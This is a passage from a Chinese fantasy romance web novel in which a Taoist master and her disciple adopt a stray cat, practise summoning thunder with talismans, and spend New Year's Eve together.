新到家的流浪猫怕生,一直窝在纸箱里,傅清微把纸箱侧过来,开口朝外,放它一只猫慢慢习惯。 穆若水去做晚饭了。 傅清微刷了一下朋友圈,回复有趣的评论,她返回页面以后,看到十分钟前有新的朋友圈发布,来自一个意想不到的人。 ——观主又成长了。 她把傅清微和猫的那张合照发在了朋友圈,没有配文字,配了个表情。 【[微笑]】 傅清微震了一下,很快理解了此微笑恐怕是真微笑的意思,对于任何一个第一次接触手机的人,都会认为它没有歧义。是人的问题,不是表情的问题。 傅清微看着穆若水的第一条朋友圈,指腹摩挲手机的金属边缘,为什么她不用一家三口的照片呢? 过了一会儿,她看到那条朋友圈下占英和岁主任都点赞了。 所以是为了不让别人看到她的脸吗? 穆若水既然发了,要么是自己记录,要么是为了给她看。不太可能把钱袋子和跑腿的放在眼里。 傅清微感觉理由有点牵强,但目前只能这么解释了。 外卖到了,傅清微穿上羽绒服下去拿,拎了一大兜东西上来,确认后给外卖员打赏了五块钱。 傅清微把猫砂盆放在阳台,清水和猫粮碗放在另一边,自己去客厅学习了。 她吃饭的时候,小猫终于钻出来,圆脑袋埋在碗里大口干饭。 夜里两人都睡了,卧室门紧闭,小三花踏出阳台,开始巡视新打下的江山。 凌晨两三点,如气象局所言,天空开始飘雪。紧闭的门窗阻绝了冷空气,室内开了空调,温暖如春,冰霜一朵朵凝结开在玻璃窗,倒映出一双绿莹莹的圆眼睛。 小三花好奇地望着窗外的大雪,鹅毛似的,一片一片落下来。 她忍不住低头舔了舔身上的毛,歪着脑袋似乎想不明白为什么自己不觉得冷。 凌晨四点,小三花打了个大大的哈欠,从窗户跳下来,迈着步子进了客厅,跳上了单人沙发,团成一个猫猫球睡了。 万籁俱寂,人类均匀的呼吸声和小猫睡熟的呼噜声,构成了傅清微生命里最温暖的一个冬天。 小猫的自清洁能力非常强,傅清微不打算带她洗澡,怕她感冒,更怕她应激。它自己也爱干净,进家以后除了吃饭睡觉,其他时候都在舔毛,傅清微都怕它口水干了,悄悄掰开它的嘴巴看了好几次,小牙真可爱呀。 上次绝育之前傅清微就给它打过疫苗了,虽然在小区流浪了几个月,没病没伤的,医生说身体很健康。傅清微又从网上下单了一大堆猫玩具和必需用品。 出门练车的傅清微:【在?看看猫?】 穆慈:【[语音]信不信我弄死你?】 穆慈:【[照片][照片][照片][照片][照片][照片]】 穆慈:【[语音]别再打扰我,不然我就弄死它】 傅清微:【[比心]】 傅清微收起手机,哈哈大笑,她才不信观主会弄死猫。比起人,猫在她眼里不知道可爱多少。 有猫在家陪她,傅清微也不用担心穆若水一个人会无聊了,毕竟她只有自己。 穆若水盯着已经将一只爪子搭上她的腿的三花,呵斥道:“下去。” “……” 三花听不懂,三花只是想亲近妈妈。 随意搭在沙发边缘的手掌下被一颗圆脑袋拱来拱去,不断地发出超大的呼噜声。 穆若水闭了闭眼。 真是什么样的主人养什么样的猫。 穆若水伸指碰了一下它的脑门,它原地躺倒露出肚皮。 穆若水轻轻地吸了一口气。 粘了穆若水一下午千方百计蛊惑她的小三花在听到门外的脚步声时,第一时间从穆若水腿上跳了下来,喵喵地朝门口跑去。 傅清微一打开门,一个圆脑袋仰起脸对着她,毛茸茸大尾巴竖得高高的。 傅清微蹲下来,两只手双管齐下,一边挠下巴一边揉肚皮,发出一种不像人类的细细的嘤嘤声:“这是谁家的小猫咪,这么可爱啊。谁家的呀?我家的对不对?” 每天都要听到这么一出的穆若水:“……” 人类真的没救了。 傅清微抱着猫走过来,问她:“晚上吃什么?” 穆若水没好气:“清蒸猫猫头。” 傅清微把猫猫头塞过来,笑眯眯地说:“来,让姥姥啃一口。” 穆若水避开,毫无威胁力地放狠话:“迟早有一天,我要把你们娘俩一起弄死。” 傅清微弯了弯眼。 穆若水从沙发起身,进厨房做饭去了。 傅清微拆了刚到的逗猫棒,陪三花玩了会儿,眼神看着厨房的方向,玻璃门已经关上了,抽油烟机的声音隐约传来。 傅清微把逗猫棒收起来,重新抱起猫,小声说:“我们去看看妈妈在干什么好不好?” “好的。” 她自问自答,抱着猫开了厨房门。 穆若水头也不回:“滚出去。” 傅清微和猫一起,同步缩了缩脖子:“好嘞。” 和乐融融的一家三口画面,没啦。 穆若水的指甲两天一剪,当晚又轮到了剪指甲的日子,傅清微打开自己的工具包,给穆若水一根一根地修剪指甲,圆润整齐。 每次脑补也怪累的,还比较伤身,所以傅清微已经可以很好地控制自己心无旁骛。 伺候完了穆若水,她打开了另一套指甲钳。 把猫放在腿上,仰面朝自己,开始给猫剪指甲。 无缝衔接。 穆若水:“?” 她应该不是猫吧? 向来听话的小三花在剪指甲这件事上不肯配合,傅清微按她不住,差点累出汗,使唤起观主:“你帮我喂她根猫条,在电视柜左边的第一个抽屉里,都是她的零食。” 穆若水难以置信地起身,从电视柜底下拿来了猫条。 “撕开,慢点喂。” 猫是单线性动物,瓜子仁大的脑仁只能专注一件事,吃上猫条的三花忘记了爪子还在人类的手里,不知不觉被剪完了指甲。 猫条也吃完了,她从傅清微腿上跳了下去,猫抓板上一顿磨。 穆若水把空包装扔进了垃圾桶。 傅清微长舒了口气,说:“总算剪完了。” 她看了看穆若水伸出来的玉白修长的手,刚剪完的指甲泛着健康的粉色,忍不住感叹了一句:“还是你比较听话。” 穆若水:“?” 穆若水:“你最近是不是嫌命太长了?” 傅清微自扇了一下嘴巴,轻轻的:“我错了,师尊。” 她还知道自己是她师尊?除了在猫那里称呼加辈以外,不见她有半分敬重。 穆若水沉吟:“现在的凡间是不是不讲究师徒间的……辈分?” 傅清微认真地想了想,回答她道:“不是不讲究吧,但是像以前那样传道受业、敬茶磕头的师徒很少了,师生关系比较常见,就是学校里那种老师和学生。正经传承的师徒离现实生活太远了。” 穆若水:“所以你才对我这么随便吗?” 傅清微眼神微微闪烁。 穆若水:“我没有指责你的意思,只是讨论一下。” 傅清微半真半假地说:“是。师尊收我为徒以后,我还是把你当观主和姐姐。” 诚然有她动心的因素,但确实需要时间适应新的关系,在几个月以前,她一直以为师徒只存在那种非遗手艺的工匠之间。冷不丁在21世纪多了个传道的师傅,现代人都难以在一时自如地接受,多出一位长辈,外表还和同龄人一样。 穆若水点头:“原来如此,希望日后你要记住,我是你师尊,你说话举止不应如此唐突轻佻。” 傅清微舌根微涩,喉咙动了动。 “是。” 穆若水见她情绪有些低迷,安慰她道:“不急在一时,你慢慢记得就行。” “嗯。” 傅清微半蹲下来,用脸去蹭了蹭女人的手掌,像猫儿一样。 穆若水满意道:“你这样就很好。” 傅清微轻轻地嗯了一声。 她又蹭了蹭女人的掌心。 “行了。”穆若水收回手,说,“去练习吧,练熟了我再教你画新的。” “是,师尊。” 傅清微在茶几铺开朱砂、毛笔、清水和符纸,打开朱砂刚要调制,和一双绿莹莹的圆眼睛隔了几十公分对上视线。 叩叩叩—— 穆若水打开门。 傅清微怀里抱着猫。 穆若水:“?” 傅清微解释:“我刚刚在画符,它跳到茶几上,差点打翻了我的朱砂。我一动笔,她就来蹭我的手。” 所以? 傅清微:“要不先把它放卧室里?” 穆若水回头看了看自己唯一没有被猫踏足的领地,说:“不行!” 傅清微转头看向另一个方向:“那我把它关卫生间吧。” 穆若水点点头。 傅清微打开卫生间的门,把猫放了进去,带上门,站了一会儿,和仍停留在卧室门边的穆若水对上了视线。 “……” 穆若水砰的关上了卧室门。 小三花是一只一两岁的小猫,刚刚结束自己的流浪生涯,还没有足够的安全感,被关在狭小的卫生间里,小心又可怜地咪咪叫,生怕自己再一次被抛弃。 细声细气,弱弱的小奶猫样,也不敢挠门,只敢在门后小声叫。 傅清微狠了狠心,强迫自己进入画符的专注状态,摒除所有杂念,提笔在黄纸笔走龙蛇,行风聚雨。 不知何时,卧室的门轻轻地打开。 卫生间的门开了一条缝,叫声停止。 傅清微一气呵成画完十张符抬起头,只见到穆若水蹑手蹑脚回房的背影。 一条毛茸茸的尾巴从她的胳膊底下垂下来,在半空中优雅地晃了晃。 第66章 傅清微揉了揉自己的眼睛。 那条蓬松的大尾巴还在半空晃, 摇过来,摇过去。 不知道是不是躺在女人怀里太过舒适的缘故。 傅清微:“……” 可恶,观主都没有这么抱过自己呢。 就算抱过, 何时蹑手蹑脚这么温柔, 生怕惊扰了它。 穆若水在房间里和小三花大眼瞪小眼, 小三花在进门的一瞬间跳下来,无缝接了一个原地起跳, 踩在了穆若水的床单上, 两只小肉垫在被子上踩奶,喉咙发出呼噜呼噜的声音。 ——不准上桌不准上沙发不准上床。 在第三天防线全部阵亡。 穆若水动了动手指, 把它挪到了床尾。小猫凭空被抬起来, 茫然地看着自己来到了另一个地方,它试探性地走了回去,又被抬回原位。 喵喵喵?这不比逗猫棒有意思? 傅清微画完了符, 迫不及待地来敲卧室房门, 不知道是吃人的醋还是想见猫。 穆若水一开门就把小东西的后脖颈拎着扔进了傅清微怀里。 傅清微撸了两把猫脑壳,哄着说:“又惹姥姥生气了是不是?来,我们给姥姥道歉。对不起, 好不好?” 穆若水:“……” 猫哪听得懂人话,还不都是说给她听的。 都是长辈了,和小猫咪计较什么呢? 傅清微把猫放在外面,拿了粘毛器主动进屋收拾猫毛, 床单被子都滚了一遍,说:“要不要我把四件套换了?” 态度如此积极, 穆若水再计较反而小题大做。 而且傅清微都没有戳穿她带猫进屋的事, 孝心和智慧可嘉。 穆若水神色和缓:“不用了,你早些休息吧。” 傅清微从她床上爬下来, 恭敬地说:“徒儿告退,师尊晚安。” “晚安。” 傅清微退到门边,打开门的同时预判性地一伸脚,以迅雷不及掩耳之势把爆冲过来的小猫逮住,薅进了自己怀里,一只手抱着它,一只手带上了房门。 穆若水回忆起关门前的片段,小三花仰面躺在傅清微怀里的样子,蓬松的大尾巴一甩一甩的,甩到她脸上她也没生气,反而低头亲了一口小猫脑门,笑吟吟的。 穆若水不由自主地抿了抿唇。 第二天她决定陪傅清微去练车,没有猫,就她们俩。 傅清微吃着新鲜的肉包子,小三花凑过来粉鼻尖闻了闻咬开的包子馅,做出狂埋的动作,傅清微把它拎了下去,对坐在对面的女人说:“你不是嫌无聊吗?” 排队练车是最最无聊的事,排队俩小时,练车十分钟。寒假是学车高峰期,要不是傅清微一时拮据,才不会拖到这时候才报名,再也没有下次。 按理说她可以等到灵管局考完试再回来学,还能专心复习,但她是开了头就要有始有终的性格,到时说不定更忙,她买车的计划要拖延到猴年马月。 连她都嫌无聊,别提穆若水了。 有点空闲时间傅清微在玩命备考,根本没机会让她玩,说话都顾不上,纯当保镖去了。 她也确实当了回护花使者。 驾校教练嘴不太干净,骂人骂习惯了,穆若水第一次去就听到教练骂傅清微。学车嘛,哪有不挨骂的,学员都习惯了,傅清微也早有心理准备。 一句,两句,三句。 观主忍无可忍。 她现在都不骂她了,他算个什么东西? 观主当着所有学员的面把一百八十斤的中年男教练从车里拽出来,反扭他的胳膊,一脚踹在男的膝窝,让他跪那儿给大家道歉。 挨个给所有学员道歉,免得傅清微成为众矢之的。 她又挑拣着去了两次,见那教练老老实实,就彻底在家窝着了。 穆若水想起这个借口,说:“我怕你性子软,教练趁我不在欺负你。” 傅清微笑道:“不用啦,他不敢,而且我也能打的,别把我当小孩。” 穆若水说:“你能打怎么不打上次那个害你被妖鬼上身的导演?” 傅清微温和地说:“那不是缺钱嘛,现在又不缺,你真的不用太担心我。” 穆若水哦了声,说:“不管,我要去。” 傅清微:“……” 穆若水单手把又上桌的小猫拎了下去,说:“带上你画的雷符,试试看能不能引雷。” 她刚放到地上,小三花翻过身四爪抱住她的手兔子蹬,力道对观主来说,就像给她挠痒痒。 穆若水:“……” 她唇角划过一丝极浅的弧线,和弯腰将脑袋探到桌下的傅清微对上视线。 “……” “……” 傅清微火速坐正埋头吃包子,演技拙劣得全是破绽:“啊,真好吃,咳咳咳……”嘴张得太大咽进一大口空气。 穆若水把自己喝了一口的水杯推过去,起身走了。 * 驾校。 傅清微练完车赶紧跑过来,躲过几个调侃她和“姐姐”的同龄人,朝远处大树站着的修长人影奔去。 穆若水入乡随俗,为了不引起更多注意,和傅清微出行换上了轻便的现代装。她身材高挑,随便搭衣服长裤都好看,傅清微动用了小金库,带她去商场大买特买。 傅清微喜欢白色,穆若水无所谓由她打扮,一尘不染的雪白,青丝如墨垂到腰际,她不开口的时候本就自带道骨仙风,这一遭更是衬得愈发秀丽清姿,绝艳出尘。 傅清微也想开了,反正观主的身材怎么打扮都显眼,不如自己多看几眼,再说只有自己能看到她的脸。 穆若水把替她拎着的包打开,里面装了厚厚一叠雷符。 练之前傅清微有些担忧:“要在这里练吗?万一劈到人怎么办?劈到树也不好啊,会引起恐慌的。” 穆若水睨她:“急什么?你以为你一天练得成?” 画符是功力,引雷也是功力,困难度依次递增。 穆若水:“今天的主要目的是感受失败。” 傅清微大松了口气:“太好啦。” 穆若水瞪她。 她鲜少有这么人性化生动可爱的表情,漆黑的眸子多了一层水意,眼波流转,美目含嗔。 傅清微心神荡了一下,符纸塞到手里才反应过来。 她垂下的手指甲掐了掐自己的掌心。 傅清微特意走到空地处,食指和中指夹住黄符,一手掐诀,听着周围的风声,闭目沉浸,感受天地。 “一转六神藏,二转四煞没,三转动魁罡,四转雷火腾……” 一段咒语念完,她特意等了一会儿,睁开眼睛。 手里的符箓该是什么样,还是什么样。 天是什么样,现在还是什么样,阳光甚至更刺眼了。 这符箓该不会是假的吧? 穆若水遥遥坐在树下,一道声音却精准无比地送入她的耳中:“继续念。” 傅清微整整一小时的成就就是把引雷咒念得滚瓜烂熟。 老天连朵乌云都没赏给她。 练车又轮到她了,她跑去练了把科目二,回来蹲在穆若水身边。 这个姿势适合穆若水摸她的头,穆若水也将手掌落在她的脑袋上,说:“怎么了?这就泄气了?” “没有。只是徒儿没亲眼见过真正的引雷,在体悟上始终隔了一层。” 穆若水的手一顿,似乎迟疑了数秒,才说:“为师晚点给你示范一次。” 傅清微好奇:“师尊多久学会的引雷?” “三天。” “好的。”傅清微轻轻地闭上嘴。 离傅清微住的地方半小时车程,有一片烂尾楼,因为多方扯皮不下一直荒废着,这个地方用蓝色围挡遮了起来,平时鲜有人进去。 穆若水让傅清微站得远一点,取了一张傅清微画的雷符,她自己亲手画的威力太大,恐怕会引起不必要的麻烦。 穆若水身形笔直如竹,摘下口罩,侧脸宛如玉雕。 她一手结印,一手持符,为了照顾傅清微薄弱的基础,缓慢地催动咒语。 “一转六神藏,二转四煞没,三转动魁罡,四转雷火腾,五转霹雳发……” 在她念出第一个字时,九天便有了响应。 傅清微的衣袖被吹动,初时是微风习习,在寒冷的冬天也不觉得刺骨,渐渐的,地面趴伏的尘土扬了起来,傅清微不得不用口罩挡住脸,围挡外面的树木摇动,发出飒飒声。 穆若水手里的黄符无火自燃,化作一道流光直冲天际。 眼下是下午两三点,阳光还很强烈,上一秒的温度宜人,下一秒聚拢的乌云层层遮住了太阳,黑云压城。 云层之中传来隆隆的闷雷之声,连绵不绝。 街上的行人纷纷驻足抬头,接着以最快的速度奔跑起来。 好好的天说变就变,一场暴雨马上就要来了。 傅清微被风刮得睁不开眼睛,围挡内飞沙走石,遮天蔽日,附近的树木也东倒西歪。 轰—— 紫电从云层降下,光先至,巨响炸开在耳边。 傅清微眼前白光刺痛,紧紧地捂住自己的耳朵,半跪下来,五脏翻涌,喉咙和鼻腔里弥漫着淡淡的铁锈味。 一只修长有力的手将她扶了起来,她只看到面前的女人口唇开合,却听不见她说了什么,一缕柔和的真气沿着她的手腕注入,理顺了她因威力不同寻常的天雷而紊乱的气血。 傅清微这才听到微弱的声音,面带自责的女人说:“应该让你再站远一点的。” 傅清微一呼吸仍能感到血腥味,她干脆不说话,只轻轻摇了摇头。 女人将她拥进怀里。 傅清微的脸枕在她的肩头,越过肩膀看向远处那个巨大的深坑,边缘都被劈成了焦黑色。 ——好像是穆若水刚刚站的地方。 雷声出现得有多突然,消失得就有多突兀,一声过后连太阳都露出了脸。 风止云开,彩彻区明。 街上奔跑准备躲雨的人停下脚步,接二连三地响起“哇靠”被耍的责怪声,车流和人流恢复了正常秩序。 唯有隐匿于鹤市的修士不约而同地抬头,看向紫电出没的天际。 灵管局的岁主任又出来降妖了?鹤市已经不太平到这个地步了吗? 收到短信的岁主任表示:【不是我】 对方不信:【除了你还有谁?】 岁已寒:【我也想知道】 占英:【师父,你在出什么任务?】 岁已寒:【在局里开会】 占英:【局里进妖了?没出什么危险吧?】 岁已寒:【……】 等岁已寒澄清完一圈,已经是半小时之后的事了。灵管局根据那个深坑,调取了周围的监控,查到是傅清微和穆若水二人,上报到局里,众人放下心,才算彻底了结了此事。 民间不乏厉害的修士,人有正邪,玄门也不例外。要是真的有厉害的大能出现在鹤市,必须摸清对方的底细和善恶。 幸好是她们俩。 岁已寒亲自去了趟烂尾楼,查看天雷的痕迹,一片焦黑之上留下的气息纯正,方圆五里祟邪绝迹,清气涤荡。 道行之精,比她有过之而无不及。 只是…… 岁已寒指尖捻了捻焦土。 天雷诛邪,若无妖魔,怎么降得下如此惊人的雷霆。 还是慈让真人的修行已越过了当世的极限,踏入半步金仙。 * 傅清微带穆若水打车回了家。 那声毁天灭地的炸雷就劈在她的耳边,她的体质刚比凡人强一点点,根本承受不了远高出她当今修为的人引来的天雷威压,眼球刺痛,连带着太阳穴那一片的脑子都在抽疼。 穆若水握着她的手腕,一遍一遍给她顺着体内微薄的真气。 傅清微靠在她的怀里,双眼紧闭,眼尾的长睫毛沁出湿意。 穆若水将她的另一只手握在掌中,低头吻了吻她的发顶,声音低得像叹息:“对不起……” 她也没想到引个雷会出意外,虽然劈下来的声势在预料之中,没伤到她分毫,但她没料到傅清微会因此受伤。 太危险了。 若是天雷换个方向,她此生后悔莫及。 “没关系,师尊,是我太弱了。”傅清微回握她的手,闭着眼在她怀里回道。 “是我的错。” 高高在上的观主低头认错,放在平时傅清微肯定要好好观察她的表情,但她的眼睛痛,头也痛,身上也好不到哪儿去,五脏六腑都被翻过一遍,头晕得厉害。 只好乖乖地闭眼休息,意识渐渐远离。 朦胧中她感觉女人的唇落在她发顶好几次,柔软的触感一次次传来。 比上次戴着口罩清晰多了。 这算因祸得福吗? 傅清微唇角微扬,脸颊蹭了蹭女人的胸口,慢慢睡了过去。 穆慈:【需要治内伤的丹药】 占英:【我门派有灵宝丹,马上给真人送去】 穆若水按密码开了门锁,抱着傅清微大步进了家门,小三花感觉到焦急的气氛,寸步不离地跟在穆若水脚边,仰头喵喵叫。 穆若水将傅清微放在沙发上,放倒床,托着她的后颈让她舒适地睡在枕头上。 小三花凑近了嗅闻傅清微的脸,湿润的粉鼻尖拱了拱她,又跳到她的手边舔她的手背。 傅清微只是受了点内伤,又不是要死了,刚被抱上楼,这会神智恢复了点,睁眼一个面色凝重的观主,一只担心她嗝屁的小猫。 这是她前二十年乃至今后漫长人生中,最幸福的时刻之一。 她把手翻过来,手心盖在猫脑袋上揉了两把,又伸手去握穆若水的手,穆若水主动把手放进她的掌心,问她:“感觉怎么样?” 傅清微说:“感觉好多了。” 穆若水根本不信,自说自话:“我向阁皂派讨了灵宝丹,待会就给你服下。你好好休息。” 傅清微顺势闭上眼。 她呼吸平稳地等了好一会儿,女人的气息靠近她,用额头轻轻贴了一下她的额头。 旋即大门的关门声轻轻地响起来。 傅清微虚弱地睁开眼,小三花仍在她的手边,她低头望过去,也不管它听不听得懂人话,说:“看到没?四舍五入她就是亲我了。” “她昨晚亲你没有?肯定没有。” 小三花转过头,在她手下腾挪,拿屁股冲她。 傅清微拍了拍猫屁股,轻哼了一声,闭上眼睛。 穆若水换上面具下楼,来送药的是日理万机的占科长。 刚好她在本市,猜到穆若水要伤药肯定是傅清微受伤了,抽空亲自赶来。 她递给穆若水两瓶伤药:“这瓶是灵宝丹。另一瓶是清净派的丹药,出自一位姓龙的道友,上次我受重伤就是吃了这个药,妙手回春,好得快,我觉得吃这瓶比较好。” 穆若水点头。 “有劳。” 占英忍住了自己去看太阳从哪边出来的冲动,轻声问道:“傅道友为什么受伤了?” 穆若水头也不回地离开。 占英扭头看了看天边,还好,太阳还是从西边落下的。 灵管局的消息来得很快,不久后占英也知道二人在烂尾楼引雷的事。 雷肯定是观主引的,傅清微应该是被波及了。 当初她师傅岁已寒在江边斗蛟,也是清场了的,天雷之威非凡人能直面。特别是岁已寒及观主这种不出手则已,一出手惊天动地的九天神雷,占英要不是自己也习雷法,看都不敢多看,每次都要躲得远远的。 虽然傅清微已经无缘再当她的师妹了,但她拜了慈让真人为师,同为玄门中人,能帮一把就帮一把。 甚至占英非常明白与天才同行的感受,给观主当徒弟,一定会承受很大的压力。 占英:【你最近是不是在学雷法?我这里有几点经验参考……】 傅清微的手机亮了起来。 她刚服下清净派的丹药,暖意顺着喉咙往下蔓延,果然像占英所说效果立竿见影。 穆若水在给她把脉,闻声扫了眼茶几上的手机。 傅清微说:“你帮我看吧。密码和你的一样。” 反过来说,是穆若水的手机密码和她一样,因为都是傅清微设的。 穆若水打开她的微信界面,看到占英发过来的一二三四五点初学者经验。 穆若水示范一次惹出这么多事,不会再轻易引雷。这些东西她记忆里就会,不知道怎么教授一个零基础的徒儿,吐纳、画符、经文、咒语,全凭傅清微的资质带飞,或许占英的经验能派上用场吧。 穆若水:“晚点你把占英发你的东西看一下,看有没有帮助。” 傅清微应好。 “师尊怎么不管她叫姓占的了?” 穆若水哼了一声。 “看在她确实帮了你一些的份上,本座赐她一个全名。” “那她的师傅呢?” “还是钱袋子。” 傅清微笑起来,笑着笑着咳嗽了一声,肺腑震动牵连隐痛,笑不出来。穆若水见状,唇边弯弯的笑意跟着隐去,沉下脸说:“还不快睡觉。” “我想多看看师尊。” “日后有的是时间。”穆若水伸手蒙上她的眼睛,动作和她的声音一样温柔,“睡吧,为师守着你。” “师尊……” “嗯?” 你为什么对我这么好? 傅清微在心里问道,她明知答案,所以并没有将这句话问出口。 也许终有一天,她会有问出口的机会。 傅清微抬起手,顺着女人柔滑的手腕,摸到女人蒙在她眼睛的手背,覆在上面不动了。 ……也不嫌沉。 穆若水腹诽道。 她等傅清微睡沉以后,轻轻地拿开了手,年轻女人下意识微微蹙眉。穆若水重新给她蒙上,看向阳台的窗户,下午的光线还很亮,窗帘遮光性不好,拉上也作用有效。 傅清微睡觉喜欢只拉一层纱帘,喜欢微风吹拂在她脸上的气息。 穆若水想了想,起身去了卧室,从自己一整盒的蒸汽眼罩里拿了一只出来。 她挡在光线来源的方向,俯下身给傅清微戴眼罩,左边耳朵勾住,轻轻地挽到右边,露出秀美的鼻梁。 上半张脸被挡住,注意力就会集中在露在外面的部分。 穆若水倒着看她更是如此,眼神落下的方向刚好是她花瓣一样的唇,散发着淡淡的色泽。 穆若水食指指腹点了一下,软软地陷下去。 第67章 穆若水的指尖轻点傅清微的唇, 中央小小地陷下去。 指腹的触感和那日在地铁上感受到的重合了,没有口罩挡着,更清晰一些, 也更软了。 穆若水又戳了一下。 她的唇仿佛柔和的水流, 无论她的手指怎么触碰, 软弹地陷下去,抬起来的时候又会恢复饱满。 指腹玩弄得久了, 从浅红变成诱人的深红。 穆若水目不转睛地盯着她染上胭脂色的唇, 血液里在隐隐酝酿一种名为冲动的情绪。 上一次,傅清微在地铁里戴着口罩不小心倾身吻上来, 她下意识躲开了, 过后看着地铁路线图心不在焉地发呆。 上上一次,傅清微被妖鬼所迷,操纵她的身体亲了她, 双唇相接, 亲密无间,她躲无可躲,连反应的时间都没有。 她无法解释自己当时强烈得不该有的感受, 过后她选择了遗忘这件事。 今天是第三次。 她明白人类的亲吻意味着什么,是欢喜与爱慕。 爱慕是一种心跳的感觉,她的胸腔早已长久地寂静,不可能为任何人跳动。 所以她不爱慕她, 但她全身的血液会为她加速流动。 爱和欲,对人类来说有时是分开的, 有时合为一体。而穆若水只有后者, 她的渴望全都源于面前这个人,时时想将她拆吃入腹。 唯独, 不能吻她。 不仅不能再吻她,也不能再产生肉体的欲。 因为她们是师徒。 这个念头根深蒂固地植入在她的脑海里,令穆若水自己都不得其解。 是谁给她定下的师徒禁忌,画地为牢,将她困在里面。 师尊当如何如何自持庄重,温柔解意。徒儿应敬重师傅,不应越雷池半步。她自己不越,也不让傅清微越。 章法伦理,都是用来束缚人类的规则,何时轮得到她遵守?可笑。 她若是恪守伦理道德,就不会在阁皂山和傅清微心照不宣地荒唐,不断从她鲜嫩的喉咙里榨出更多快意舒爽的声音。 她恨不得咬遍她的全身,喝干所有的水,贪婪无度,肆意索取。 她在她的口下呻吟求饶,只会让她更兴奋。 这才是她的本性,本能! 现在这层师徒关系束缚着她,像阴魂不散的红线一样,在每每她想放纵的时候跳出来警告她。 不行!不可以!禁止越界! 血液的温度在无可避免地冷却,冲动的因子被敲在脑海里的钟槌挥散,穆若水单膝跪在傅清微床边,最后一丝血液温度降下来以前,将抚过她唇瓣的手指,颤抖地印在了自己唇上。 窗外的一丝微风透过缝隙吹了进来,扬起垂落的白纱帘。 年轻女人闭目沉睡,戴着的眼罩遮住了她的上半张脸,鼻梁玉挺,画笔描绘,脸颊天生的苍白秀美,圣洁端庄,唯独一双唇被揉弄得泛出至深至浓的靡靡艳色。 宛如被信徒玷污的神明。 * 傅清微在傍晚时分醒来,透过纱帘的光带上了金子一般的颜色。 清净派的丹药很管用,傅清微坐着、站着呼吸了几口气,都不再感觉胸肺有滞涩牵连的痛感,她把迷瞪着眼在她脚边睡觉的小三花rua醒了,左右四顾没找到穆若水的身影。 她敲了敲卧室的门,穆若水披散着及腰的长发,一身雪白中衣出来开门。 傅清微一怔:“你睡了?” 穆若水嗯声:“困了就睡了,晚上你随便对付点,我今天不想做饭。” 傅清微:“好,我一会煮个泡面吃,你继续睡吧。” 穆若水:“晚安,记得做晚课。” 傅清微:“师尊晚安。” 穆若水抬手掩上门,在完全闭合之前扫了一眼傅清微的脸,自淡粉绯樱的唇一掠而过,旋即响起轻轻的关门声。 傅清微在门口罚了会儿站,弯腰把跟在人脚边的小三花抱起来,摸着它的脑袋,自言自语地往回走:“姥姥好像有心事的样子。” 她挠挠小猫下巴,柔声问:“你知道为什么吗?” 小三花:呼噜呼噜。 “我们俩可不能再惹妈妈生气了。” 傅清微开了客厅的灯,先去书桌看了一小时书,中途吃了碗泡面,打坐做晚课,到点睡觉。 卧室的门始终没有打开。 第二天早上,穆若水的身影准时出现在厨房,傅清微松了口气。 吃饭的时候穆若水仍坐她对面:“暂时先不练引雷了,回山再练。” 傅清微眼前一亮,终于提到这个话题了。 昨天她就在想:穆若水宁愿带她去废弃烂尾楼,也不回山练习,明明山里清净还安全,为什么呢? 傅清微:“我们什么时候回去?” 穆若水喝水:“看情况。” 傅清微没追问,她觉得师尊有事瞒着她,问她也不会说。 * 傅清微发现穆若水最近一个月玩手机的频率直线上升,晚上坐在沙发里,有时候书也不看了,就摆弄着小方块薄片,横过来竖过去,有时候还双指操作,看起来像是在看图片。 “师尊,手机给我看一下吗?” “不给。” “……”果然有猫腻。 傅清微干不出趁对方不注意偷看手机的事,她只能暗中观察、旁敲侧击,把一切网恋的苗头扼杀在摇篮里。 傅清微还有一桩意外的发现,那就是聪明的观主学会拼音了。 她在搜索栏里打字的时候轻盈如蝶舞,但是和她发微信,还是用语音,装作根本不会打字的样子。 傅清微:“……” 合理怀疑她瞒了自己一件大事。 一晃来到了农历除夕。 现代人生活压力大,尤其是在繁华都市,大部分年轻人对春节的到来没有太多实感,只有放假能让她们从高压中得到短暂的喘息,嚷着重视传统节日不如增加假期。 要求取消调休又上了一年N度的热搜,打响了年味第一枪。 傅清微无亲无故,自然更没有过年的感觉,但她紧赶慢赶,终于在年前把驾照拿到手了。 甘棠准时打来电话,问她要不要去她家吃年夜饭。 每年她都会问,傅清微也每年都会拒绝,不同的是往年是借口一个人自由,今年是…… 傅清微扭头看向正在专注剪纸的穆若水,对着电话那头道:“谢谢你,我已经有人陪我了。” 甘棠:“哟哟哟。” 傅清微笑了笑。 甘棠:“晚上记得发朋友圈啊,让我吃口新鲜的。” 傅清微:“看情况。” 甘棠啧道:“你最近讲话这个语气啊,不大像你,怕不是和某些人待在一起久了。” 傅清微:“是么?” 甘棠:“得得得,我年夜饭还没吃呢,别现在给我喂饱了,我妈喊我了,晚上聊。” 傅清微:“好的,晚上估计要晚点了。” 甘棠言语暧昧:“懂的懂的,你先运动完。” 她就好这口带颜色的,傅清微懒得次次纠正她。 她挂断电话,来到铺满红纸的茶几前,穆若水刚好剪完一张,叠在一起,傅清微拿起来展开一看,一个大红“囍”字。 “师尊???” 穆若水抬起头,说:“什么?” 傅清微两手把那个“囍”字提起来,铺在她眼前。 穆若水眉梢微蹙,盯了半晌,说:“没注意,剪错了。你扔了吧。” “错就错了吧,留个纪念。” 傅清微端放到一边,瞧着从她灵巧的双手下脱胎的“福”字,找了双面胶倒过来贴在阳台窗户内侧,下午的阳光从笔画缝隙里透进来,暖洋洋的,恰似这个新年。 相比傅清微,穆若水这个一百年前的半古人还是很重视春节的。 从前日子不好过,辞旧迎新,是个盼头。 穆若水一早就在日历上圈好了日子,起床就去买菜,回来后指挥傅清微大扫除,连小三花都被梳了毛、剪了指甲,喜迎新年。 傅清微往窗户上又贴了兔子和小猫,拍了照发了朋友圈。 【心灵手巧[图片][图片]】 穆若水给她点了个赞。 穆若水在厨房做年夜饭的时候,傅清微把早上抱出去的被褥收了,给卧室换了新的四件套,每一个角落打扫得干干净净,务必让观主有一个舒适良好的新年体验。 一个忙里一个忙外,在铺上新桌布的整洁餐桌上端出了一桌丰盛的年夜饭。 穆若水难得动了筷子,每一样都尝了一口。 傅清微给两人面前的杯子倒上果汁,端起来敬了穆若水一杯,喉头动了动,一时却不知道怎么开口。 这幅场景对她而言太生疏了,以至于还没说话,眼底热气上涌,喉咙跟着哽咽。 “师尊,我……” 穆若水主动碰了一下她的杯口,望着她:“除夕快乐,身体健康。” “除夕快乐,事事如意。” 傅清微两手捧着杯子,认真地和她碰了一下杯。 